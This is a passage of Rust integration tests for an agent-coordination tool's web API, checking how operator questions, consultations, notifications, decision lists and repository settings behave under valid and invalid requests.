13544        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13545    }
13546
13547    #[tokio::test]
13548    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13549        let fx = Fixture::start().await;
13550        let id = ask(&fx, "No seat", &[]);
13551        let store = fx.questions();
13552        let before = std::fs::read(store.path_of(&id)).unwrap();
13553        let res = fx
13554            .post(
13555                &format!("/api/questions/{id}/say"),
13556                Some(r#"{"body":"hello"}"#),
13557            )
13558            .await;
13559        assert_eq!(res.status, 422, "{}", res.body);
13560        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13561        let res = fx
13562            .post(
13563                &format!("/api/questions/{id}/answer"),
13564                Some(r#"{"text":"hello"}"#),
13565            )
13566            .await;
13567        assert_eq!(res.status, 200, "{}", res.body);
13568        assert_eq!(
13569            store.get(&id).unwrap().resolution().as_deref(),
13570            Some("hello")
13571        );
13572    }
13573
13574    #[tokio::test]
13575    async fn saying_something_appends_a_turn_without_answering() {
13576        let fx = Fixture::start().await;
13577        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13578        fx.questions().beat(&id, ask::WaiterKind::Asker);
13579        let path = format!("/api/questions/{id}/say");
13580
13581        let res = fx
13582            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13583            .await;
13584        assert_eq!(res.status, 200, "{}", res.body);
13585        let body = res.json();
13586        assert_eq!(body["status"], "open", "talking back is not a decision");
13587        assert_eq!(body["answer"], Value::Null);
13588        assert_eq!(body["thread"][0]["who"], "operator");
13589        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13590        assert_eq!(body["waiting_on_agent"], true);
13591        // Still open, still counted, still exactly one question.
13592        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13593    }
13594
13595    #[tokio::test]
13596    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13597        let fx = Fixture::start().await;
13598        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13599
13600        let list = fx.get("/api/questions").await.json();
13601        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13602
13603        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13604        assert_eq!(res.status, 409, "{}", res.body);
13605        let q = fx.questions().get(&id).unwrap();
13606        assert!(q.status.open());
13607        assert!(q.consult.is_none());
13608    }
13609
13610    #[tokio::test]
13611    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13612        let fx = Fixture::start().await;
13613        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13614        let cfg = Config {
13615            agents: vec![crate::config::AgentSpec {
13616                id: "mock".to_owned(),
13617                kind: crate::config::AgentKind::Command,
13618                model: None,
13619                command: vec!["true".to_owned()],
13620                extra_args: Vec::new(),
13621                env: Default::default(),
13622                prompt_delivery: None,
13623                max_turn_secs: None,
13624            }],
13625            ..Config::default()
13626        };
13627        let talk = crate::talk::begin(
13628            &fx.talks(),
13629            &cfg,
13630            fx.home.path().to_path_buf(),
13631            Some("mock"),
13632        )
13633        .unwrap();
13634        let mut task = Task::new(
13635            "t".to_owned(),
13636            "Do it".to_owned(),
13637            PathBuf::from("/repo/magi"),
13638            Source::Agent {
13639                run: talk.id.clone(),
13640                node: crate::queue::CHAT_NODE.to_owned(),
13641            },
13642        );
13643        task.start("20260902-000000-beef".to_owned());
13644        fx.queue().put(&mut task).unwrap();
13645
13646        let list = fx.get("/api/questions").await.json();
13647        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13648        assert_eq!(
13649            list[0]["choices"],
13650            serde_json::json!(["SQLite", "Redis"]),
13651            "the hand-over is never a choice"
13652        );
13653        fx.questions()
13654            .update(&id, |q| {
13655                q.node = crate::land::APPROVAL_NODE.into();
13656                q.choices = vec!["merge".into(), "hold".into()];
13657                Ok(())
13658            })
13659            .unwrap();
13660        let list = fx.get("/api/questions").await.json();
13661        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13662        assert_eq!(list[0]["can_consult_chat"], true);
13663        fx.questions()
13664            .update(&id, |q| {
13665                q.node = crate::bump::NOTICE_NODE.into();
13666                Ok(())
13667            })
13668            .unwrap();
13669        let list = fx.get("/api/questions").await.json();
13670        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13671        assert_eq!(list[0]["can_consult_chat"], false);
13672    }
13673
13674    #[tokio::test]
13675    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13676        let fx = Fixture::start().await;
13677        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13678        fx.questions()
13679            .update(&id, |q| {
13680                q.node = crate::land::APPROVAL_NODE.into();
13681                q.choices = vec!["merge".into(), "hold".into()];
13682                Ok(())
13683            })
13684            .unwrap();
13685        let cfg = Config {
13686            agents: vec![crate::config::AgentSpec {
13687                id: "mock".to_owned(),
13688                kind: crate::config::AgentKind::Command,
13689                model: None,
13690                command: vec!["true".to_owned()],
13691                extra_args: Vec::new(),
13692                env: Default::default(),
13693                prompt_delivery: None,
13694                max_turn_secs: None,
13695            }],
13696            ..Config::default()
13697        };
13698        // Not a git working tree, so its `magi.toml` is read from disk.
13699        let repo = fx.home.path().join("chat-repo");
13700        std::fs::create_dir_all(&repo).unwrap();
13701        let toml = repo.join("magi.toml");
13702        std::fs::write(&toml, "this is = = not toml").unwrap();
13703        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13704        let mut task = Task::new(
13705            "t".to_owned(),
13706            "Do it".to_owned(),
13707            PathBuf::from("/repo/magi"),
13708            Source::Agent {
13709                run: talk.id.clone(),
13710                node: crate::queue::CHAT_NODE.to_owned(),
13711            },
13712        );
13713        task.start("20260902-000000-beef".to_owned());
13714        fx.queue().put(&mut task).unwrap();
13715
13716        let path = format!("/api/questions/{id}/consult");
13717        let res = fx.post(&path, None).await;
13718        assert!(res.status >= 400, "{}", res.body);
13719        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13720        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13721
13722        std::fs::write(&toml, "").unwrap();
13723        let res = fx.post(&path, None).await;
13724        assert_eq!(res.status, 202, "{}", res.body);
13725        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13726        let q = fx.questions().get(&id).unwrap();
13727        assert!(q.status.open());
13728        assert!(q.answer.is_none());
13729        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13730        assert_eq!(res.json()["can_consult_chat"], true);
13731        let list = fx.get("/api/questions").await.json();
13732        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13733        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13734
13735        let res = fx
13736            .post(
13737                &format!("/api/questions/{id}/answer"),
13738                Some(r#"{"choice":"hold"}"#),
13739            )
13740            .await;
13741        assert_eq!(res.status, 200, "{}", res.body);
13742        assert_eq!(res.json()["answer"]["choice"], "hold");
13743        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13744        assert_eq!(res.json()["can_consult_chat"], false);
13745        assert_eq!(fx.post(&path, None).await.status, 409);
13746
13747        let mut talk = fx.talks().get(&talk.id).unwrap();
13748        // This test closes the history view, not an unconsumed consultation.
13749        crate::talk::clear_pending(&mut talk, &fx.talks()).unwrap();
13750        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13751        let list = fx.get("/api/questions").await.json();
13752        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13753        assert_eq!(list[0]["origin_chat_closed"], true);
13754        assert_eq!(list[0]["can_consult_chat"], false);
13755
13756        fx.talks().remove(&talk.id).unwrap();
13757        let list = fx.get("/api/questions").await.json();
13758        assert_eq!(list[0]["origin_chat"], Value::Null);
13759        assert_eq!(list[0]["origin_chat_closed"], false);
13760        assert_eq!(list[0]["can_consult_chat"], false);
13761    }
13762
13763    #[tokio::test]
13764    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13765        let fx = Fixture::start().await;
13766        let store = fx.questions();
13767        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13768        store.beat(&id, ask::WaiterKind::Asker);
13769        assert_eq!(
13770            fx.get("/api/health").await.json()["questions_needs_owner"],
13771            1
13772        );
13773
13774        // The owner asks back instead of deciding: the ask bar, the nav badge
13775        // and the title must stop naming this question, because there is
13776        // nothing to decide until the agent answers - `status` alone cannot
13777        // say that, which is the whole reason `questions_needs_owner` exists
13778        // alongside `questions_open`.
13779        let res = fx
13780            .post(
13781                &format!("/api/questions/{id}/say"),
13782                Some(r#"{"body":"why not Postgres?"}"#),
13783            )
13784            .await;
13785        assert_eq!(res.status, 200, "{}", res.body);
13786        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13787        assert_eq!(
13788            fx.get("/api/health").await.json()["questions_needs_owner"],
13789            0,
13790            "waiting on the agent is not waiting on the owner"
13791        );
13792
13793        // `magi ask --thread` replying is what brings the owner count back -
13794        // the same event that would resume the CLI call blocked in `magi
13795        // ask`.
13796        let mut q = store.get(&id).expect("get");
13797        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13798            .expect("reply");
13799        store.put(&mut q).expect("put");
13800        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13801        assert_eq!(
13802            fx.get("/api/health").await.json()["questions_needs_owner"],
13803            1,
13804            "the agent's reply is what should light the banner back up"
13805        );
13806    }
13807
13808    #[tokio::test]
13809    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13810        let fx = Fixture::start().await;
13811        let store = fx.questions();
13812
13813        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13814        let res = fx
13815            .post(
13816                &format!("/api/questions/{empty_id}/say"),
13817                Some(r#"{"body":"   "}"#),
13818            )
13819            .await;
13820        assert_eq!(res.status, 400, "{}", res.body);
13821
13822        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13823        let mut answered = store.get(&answered_id).expect("get");
13824        answered
13825            .answer(Answer::Choice("SQLite".to_owned()))
13826            .expect("answer");
13827        store.put(&mut answered).expect("put");
13828        let res = fx
13829            .post(
13830                &format!("/api/questions/{answered_id}/say"),
13831                Some(r#"{"body":"still there?"}"#),
13832            )
13833            .await;
13834        assert_eq!(res.status, 409, "{}", res.body);
13835
13836        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13837        let mut abandoned = store.get(&abandoned_id).expect("get");
13838        abandoned.abandon("timed out");
13839        store.put(&mut abandoned).expect("put");
13840        let res = fx
13841            .post(
13842                &format!("/api/questions/{abandoned_id}/say"),
13843                Some(r#"{"body":"still there?"}"#),
13844            )
13845            .await;
13846        assert_eq!(res.status, 409, "{}", res.body);
13847    }
13848
13849    #[tokio::test]
13850    async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
13851        let fx = Fixture::start().await;
13852        let questions = fx.questions();
13853        let mut q = Question::new(
13854            String::new(),
13855            crate::bump::NOTICE_NODE.into(),
13856            "release-watch".into(),
13857            "Release PR approval".into(),
13858            "Saved head".into(),
13859            vec!["merge".into(), "hold".into()],
13860        );
13861        q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
13862        q.merge_target = Some(crate::merge_decision::Target {
13863            pr: "https://example.test/mebae/pull/100".into(),
13864            head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
13865            language: "en".into(),
13866        });
13867        q.answer(Answer::Choice("merge".into())).unwrap();
13868        q.answer_delivered = true;
13869        questions.put(&mut q).unwrap();
13870        let dir = fx.home.path().join("notifications/task-chat-migration-v1");
13871        std::fs::create_dir_all(&dir).unwrap();
13872        std::fs::write(
13873            dir.join("state.json"),
13874            serde_json::to_vec(&serde_json::json!({
13875                "schema": 1, "sources": [q.id], "pending": [q.id]
13876            }))
13877            .unwrap(),
13878        )
13879        .unwrap();
13880        let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
13881        for migrated in [false, true] {
13882            if migrated {
13883                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
13884            }
13885            for endpoint in ["/api/questions", "/api/questions/core"] {
13886                let response = fx.get(endpoint).await;
13887                assert_eq!(response.status, 200);
13888                let rows = response.json();
13889                let row = rows
13890                    .as_array()
13891                    .unwrap()
13892                    .iter()
13893                    .find(|r| r["id"] == q.id)
13894                    .unwrap();
13895                assert_eq!(row["status"], "answered");
13896                assert_eq!(row["answer"]["choice"], "merge");
13897                assert_eq!(row["can_answer"], false);
13898                assert_eq!(row["history_only"], true);
13899            }
13900            let answer = fx
13901                .post(
13902                    &format!("/api/questions/{}/answer", q.id),
13903                    Some(r#"{"choice":"merge"}"#),
13904                )
13905                .await;
13906            assert_eq!(answer.status, 409, "{}", answer.body);
13907            assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
13908        }
13909    }
13910
13911    #[tokio::test]
13912    async fn an_answer_the_question_does_not_offer_is_refused() {
13913        let fx = Fixture::start().await;
13914        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13915        let path = format!("/api/questions/{id}/answer");
13916
13917        for body in [
13918            r#"{"choice":"Postgres"}"#,
13919            r#"{"text":"whatever you think"}"#,
13920            r#"{"choice":"Redis","text":"both"}"#,
13921            r#"{}"#,
13922        ] {
13923            let res = fx.post(&path, Some(body)).await;
13924            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13925            assert!(res.json()["error"].is_string(), "{}", res.body);
13926        }
13927        // Nothing above may have answered it.
13928        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13929    }
13930
13931    #[tokio::test]
13932    async fn a_free_text_question_takes_text_and_not_a_choice() {
13933        let fx = Fixture::start().await;
13934        let id = ask(&fx, "What should the flag be called?", &[]);
13935        fx.questions().beat(&id, ask::WaiterKind::Asker);
13936        let path = format!("/api/questions/{id}/answer");
13937
13938        assert_eq!(
13939            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13940            400
13941        );
13942        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13943        assert_eq!(res.status, 200, "{}", res.body);
13944        assert_eq!(res.json()["answer"]["text"], "--json");
13945    }
13946
13947    #[tokio::test]
13948    async fn an_unknown_question_is_a_json_404() {
13949        let fx = Fixture::start().await;
13950        let res = fx
13951            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13952            .await;
13953        assert_eq!(res.status, 404, "{}", res.body);
13954        assert!(res.json()["error"].is_string());
13955    }
13956
13957    #[tokio::test]
13958    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13959        let fx = Fixture::start().await;
13960        let questions = Questions::at(fx.home.path().join("questions"));
13961        let store = Notices::at(fx.home.path().join("notifications"));
13962        let mut q = ask::Question::new(
13963            "t1".into(),
13964            "conduct".into(),
13965            "conductor".into(),
13966            "Continue?".into(),
13967            String::new(),
13968            Vec::new(),
13969        );
13970        questions.put(&mut q).unwrap();
13971        let mut n = Notice::warn("task:t1", "Task t1 is held.");
13972        n.covered_by = Some(q.id.clone());
13973        let n = store.raise(n).unwrap();
13974        let listed = fx.get("/api/notifications").await.json();
13975        assert_eq!(listed["items"][0]["answerable_question"], q.id);
13976        questions
13977            .update(&q.id, |q| {
13978                q.abandon("run gone");
13979                Ok(())
13980            })
13981            .unwrap();
13982        let listed = fx.get("/api/notifications").await.json();
13983        assert!(listed["items"][0]["answerable_question"].is_null());
13984        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13985        assert!(
13986            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13987                .unwrap()
13988                .contains("answerable_question")
13989        );
13990    }
13991
13992    #[tokio::test]
13993    async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
13994        let fx = Fixture::start().await;
13995        let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
13996        let task = crate::queue::Task::new(
13997            "work".into(),
13998            "work".into(),
13999            fx.home.path().into(),
14000            crate::queue::Source::Human,
14001        );
14002        let inquiry = outbox
14003            .file(&task, None, "test".into(), "入力待ち", "詳細")
14004            .unwrap();
14005        let root = fx.home.path().join("notifications/task-inquiries");
14006        std::fs::write(root.join("broken.json"), "{").unwrap();
14007        let mut unsupported = inquiry.clone();
14008        unsupported.id = "unsupported".into();
14009        unsupported.schema = 99;
14010        std::fs::write(
14011            root.join("unsupported.json"),
14012            serde_json::to_vec(&unsupported).unwrap(),
14013        )
14014        .unwrap();
14015        let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
14016        for _ in 0..2 {
14017            let response = fx.get("/api/decisions").await;
14018            assert_eq!(response.status, 200, "{}", response.body);
14019            let listed = response.json();
14020            assert_eq!(listed["unreadable"], 2);
14021            assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14022            assert_eq!(listed["items"][0]["id"], inquiry.id);
14023            assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
14024        }
14025        assert_eq!(
14026            before,
14027            std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
14028        );
14029        assert!(outbox.list().is_err());
14030        std::fs::remove_file(root.join("broken.json")).unwrap();
14031        std::fs::remove_file(root.join("unsupported.json")).unwrap();
14032        assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
14033    }
14034
14035    #[tokio::test]
14036    async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
14037        let fx = Fixture::start().await;
14038        let root = fx.home.path().join("notifications/task-chat-migration-v1");
14039        std::fs::create_dir_all(&root).unwrap();
14040        let journal = serde_json::json!({
14041            "schema": 1, "pending": ["saved-inquiry"],
14042            "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
14043        });
14044        let bytes = serde_json::to_vec(&journal).unwrap();
14045        std::fs::write(root.join("state.json"), &bytes).unwrap();
14046        for _ in 0..2 {
14047            let response = fx.get("/api/decisions").await;
14048            assert_eq!(response.status, 200);
14049            let listed = response.json();
14050            assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
14051            assert!(listed["items"].as_array().unwrap().is_empty());
14052            assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
14053        }
14054        // An unreadable journal must not make the endpoint hide the list.
14055        std::fs::write(root.join("state.json"), b"{").unwrap();
14056        let response = fx.get("/api/decisions").await;
14057        assert_eq!(response.status, 200);
14058        assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
14059    }
14060
14061    #[tokio::test]
14062    async fn notifications_list_read_dismiss_and_health_agree() {
14063        let fx = Fixture::start().await;
14064        let store = Notices::at(fx.home.path().join("notifications"));
14065        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
14066        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
14067
14068        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
14069        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
14070
14071        store
14072            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
14073            .unwrap();
14074        let health = fx.get("/api/health").await.json();
14075        assert_eq!(health["notifications_unread"], 2);
14076        assert_ne!(
14077            health["notifications_rev"], rev0,
14078            "the badge must move live"
14079        );
14080
14081        let listed = fx.get("/api/notifications").await.json();
14082        assert_eq!(listed["unread"], 2);
14083        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14084        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14085
14086        let read = fx
14087            .post(&format!("/api/notifications/{}/read", a.id), None)
14088            .await;
14089        assert_eq!(read.status, 200, "{}", read.body);
14090        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14091
14092        let gone = fx
14093            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14094            .await;
14095        assert_eq!(gone.status, 200, "{}", gone.body);
14096        let listed = fx.get("/api/notifications").await.json();
14097        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14098        assert_eq!(listed["unread"], 0);
14099
14100        store.raise(Notice::info("x", "again")).unwrap();
14101        let all = fx.post("/api/notifications/read-all", None).await;
14102        assert_eq!(all.status, 200, "{}", all.body);
14103        assert_eq!(all.json()["marked"], 1);
14104        assert_eq!(
14105            fx.get("/api/health").await.json()["notifications_unread"],
14106            0
14107        );
14108
14109        let missing = fx.post("/api/notifications/nope/read", None).await;
14110        assert_eq!(missing.status, 404, "{}", missing.body);
14111        assert!(missing.json()["error"].is_string());
14112    }
14113
14114    /// New work reaches the queue through `magi task add`, a standing talk's
14115    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
14116    /// so the compose form and that route are gone. The tests that covered
14117    /// that route's validation went with it, and nothing was left asserting
14118    /// it stays gone — so a re-added handler would silently let the phone
14119    /// file briefs no one validated.
14120    #[tokio::test]
14121    async fn a_task_cannot_be_filed_over_the_phone_directly() {
14122        let f = Fixture::start().await;
14123
14124        let res = f
14125            .post(
14126                "/api/queue",
14127                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14128            )
14129            .await;
14130
14131        assert_eq!(
14132            res.status, 405,
14133            "POST /api/queue must not be a route: {}",
14134            res.body
14135        );
14136        assert!(
14137            f.queue().list().is_empty(),
14138            "a task filed by a route that does not exist must not reach the disk"
14139        );
14140        // The path itself is still served — the Queue view reads it — and the
14141        // per-task controls are untouched by the entry being removed.
14142        assert_eq!(f.get("/api/queue").await.status, 200);
14143    }
14144
14145    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
14146    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14147        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14148            .expect("checkout dir");
14149    }
14150
14151    /// Two command agents, so a config needs no real CLI.
14152    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14153
14154    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14155        let tmp = TempDir::new().expect("tempdir");
14156        let repo = tmp.path().join("repo");
14157        std::fs::create_dir_all(&repo).expect("repo dir");
14158        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14159        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14160        if let Some(text) = machine_toml {
14161            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14162            std::fs::write(&machine, text).expect("machine toml");
14163        }
14164        (tmp, repo, machine)
14165    }
14166
14167    async fn settings_checkout(path: &FsPath, text: &str) {
14168        std::fs::create_dir_all(path).unwrap();
14169        std::fs::write(path.join("magi.toml"), text).unwrap();
14170        for args in [
14171            vec!["init", "-b", "main"],
14172            vec!["add", "magi.toml"],
14173            vec![
14174                "-c",
14175                "user.name=Test",
14176                "-c",
14177                "user.email=test@example.invalid",
14178                "commit",
14179                "-m",
14180                "fixture",
14181            ],
14182            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14183            vec![
14184                "symbolic-ref",
14185                "refs/remotes/origin/HEAD",
14186                "refs/remotes/origin/main",
14187            ],
14188        ] {
14189            crate::git::git(path, &args).await.unwrap();
14190        }
14191    }
14192
14193    #[tokio::test]
14194    async fn settings_context_handlers_validate_and_save_without_a_socket() {
14195        let (tmp, repo, machine) =
14196            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14197        let root = tmp.path().join("roots");
14198        let selected = root.join("host/owner/selected");
14199        settings_checkout(
14200            &selected,
14201            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14202        )
14203        .await;
14204        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14205        let before = std::fs::read(&machine).unwrap();
14206        let ui = Arc::new(
14207            Ui::new(
14208                Queue::at(tmp.path().join("queue")),
14209                Questions::at(tmp.path().join("questions")),
14210                Talks::at(tmp.path().join("talks")),
14211                tmp.path().join("runs"),
14212                tmp.path().to_path_buf(),
14213                repo.clone(),
14214            )
14215            .with_machine_config(Some(machine.clone())),
14216        );
14217        let query = || {
14218            Query(SettingsQuery {
14219                repo: Some(selected.clone()),
14220            })
14221        };
14222        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14223        assert!(v.error.is_none(), "{:?}", v.error);
14224        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14225        assert_eq!(conductor.source, "repo");
14226        assert_eq!(
14227            conductor.machine_value,
14228            Some(toml::Value::String("a".into()))
14229        );
14230        assert!(!conductor.editable);
14231        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14232        assert_eq!(
14233            judges.count.as_ref().unwrap().machine_value,
14234            Some(toml::Value::Integer(1))
14235        );
14236        assert!(
14237            !v.roles
14238                .iter()
14239                .find(|r| r.key == "reviewers")
14240                .unwrap()
14241                .editable
14242        );
14243        let unknown = || {
14244            Query(SettingsQuery {
14245                repo: Some(tmp.path().to_path_buf()),
14246            })
14247        };
14248        assert_eq!(
14249            settings_get(State(ui.clone()), unknown())
14250                .await
14251                .unwrap_err()
14252                .status,
14253            StatusCode::UNPROCESSABLE_ENTITY
14254        );
14255        let body = || {
14256            Ok(Json(RolesBody {
14257                revision: v.revision.clone(),
14258                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14259                counts: Default::default(),
14260            }))
14261        };
14262        assert_eq!(
14263            settings_put_roles(State(ui.clone()), unknown(), body())
14264                .await
14265                .unwrap_err()
14266                .status,
14267            StatusCode::UNPROCESSABLE_ENTITY
14268        );
14269        assert_eq!(std::fs::read(&machine).unwrap(), before);
14270        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14271            .await
14272            .unwrap();
14273        assert_eq!(
14274            saved.repo,
14275            selected.canonicalize().unwrap().display().to_string()
14276        );
14277        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14278        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14279        // A cache miss refreshes the stable candidate list exactly for validation.
14280        let fresh = root.join("host/owner/fresh");
14281        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14282        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14283            .await
14284            .unwrap();
14285        assert_eq!(fresh_view.repositories.len(), 3);
14286    }
14287
14288    #[tokio::test]
14289    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14290        let (tmp, repo, machine) = settings_dirs(
14291            "[roles]\nreviewers = [\"a\"]\n",
14292            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14293        );
14294        let root = tmp.path().join("roots");
14295        let selected = root.join("host/owner/selected");
14296        settings_checkout(
14297            &selected,
14298            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14299        )
14300        .await;
14301        let broken = root.join("host/owner/broken");
14302        settings_checkout(&broken, "[roles\nbroken").await;
14303        let machine_text = format!(
14304            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14305            toml::Value::String(root.display().to_string())
14306        );
14307        std::fs::write(&machine, &machine_text).unwrap();
14308        let originals: Vec<_> = [&repo, &selected, &broken]
14309            .iter()
14310            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14311            .collect();
14312        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14313        let default = f.get("/api/settings").await.json();
14314        assert_eq!(
14315            default["repo"],
14316            repo.canonicalize().unwrap().display().to_string()
14317        );
14318        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14319        let query = format!("?repo={}", selected.display());
14320        let res = f.get(&format!("/api/settings{query}")).await;
14321        assert_eq!(res.status, 200, "{}", res.body);
14322        let v = res.json();
14323        assert!(v["error"].is_null(), "{v}");
14324        assert_eq!(v["repositories"], default["repositories"]);
14325        let role = |key: &str| {
14326            v["roles"]
14327                .as_array()
14328                .unwrap()
14329                .iter()
14330                .find(|r| r["key"] == key)
14331                .unwrap()
14332        };
14333        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14334        assert_eq!(role("advisors")["source"], "repo");
14335        assert_eq!(role("advisors")["editable"], false);
14336        assert!(role("advisors")["machine_value"].is_null());
14337        assert_eq!(role("judges")["count"]["value"], 2);
14338        assert_eq!(role("judges")["count"]["machine_value"], 1);
14339        assert_eq!(role("judges")["count"]["source"], "repo");
14340        let source = role("judges")["count"]["source_path"].as_str().unwrap();
14341        assert!(
14342            source.contains("origin/main") && !source.contains("magi/config/"),
14343            "{source}"
14344        );
14345        assert_eq!(
14346            role("reviewers")["editable"],
14347            false,
14348            "default context outside roots must protect its declarations"
14349        );
14350        let body =
14351            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14352        let unknown = format!("?repo={}", tmp.path().display());
14353        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14354        assert_eq!(
14355            f.put(&format!("/api/settings/roles{unknown}"), &body)
14356                .await
14357                .status,
14358            422
14359        );
14360        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14361        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14362            .to_string();
14363        assert_eq!(
14364            f.put(&format!("/api/settings/roles{query}"), &refuse)
14365                .await
14366                .status,
14367            422
14368        );
14369        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14370        assert_eq!(saved.status, 200, "{}", saved.body);
14371        assert_eq!(saved.json()["repo"], v["repo"]);
14372        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14373        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14374        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
